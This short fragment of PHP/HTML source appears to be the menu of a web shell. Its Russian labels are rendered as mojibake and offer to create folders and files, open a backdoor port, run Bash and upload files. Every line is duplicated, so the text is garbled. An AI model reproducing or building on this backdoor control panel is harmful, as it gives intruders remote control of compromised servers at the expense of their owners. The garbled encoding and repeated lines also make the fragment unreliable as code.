<a href=$PHP_SELF?d=$d&diz&tmkdir>.: Ñîçäàòü ïàïêó :.</a> <a href=$PHP_SELF?d=$d&diz&tmkdir>.: Ñîçäàòü ïàïêó :.</a>
<a href=$PHP_SELF?d=$d&diz&tmkfile>.: Ñîçäàòü ôàéë :.</a> <a href=$PHP_SELF?d=$d&diz&tmkfile>.: Ñîçäàòü ôàéë :.</a>
<a href=$PHP_SELF?d=$d&diz&tbackdoor>.: Îòêðûòü ïîðò äëÿ ïîäêëþ÷åíèÿ :.</a><br> <a href=$PHP_SELF?d=$d&diz&tbackdoor>.: Îòêðûòü ïîðò äëÿ ïîäêëþ÷åíèÿ :.</a><br>
<a href=$PHP_SELF?d=$d&diz&tbash>.: Bash :.</a> <a href=$PHP_SELF?d=$d&diz&tbash>.: Bash :.</a>
<a href=$PHP_SELF?d=$d&diz&tupload>.: Çàêà÷àòü ôàéë :.</a> <a href=$PHP_SELF?d=$d&diz&tupload>.: Çàêà÷àòü ôàéë :.</a>
</span> </span>
</center> </center>
"; ";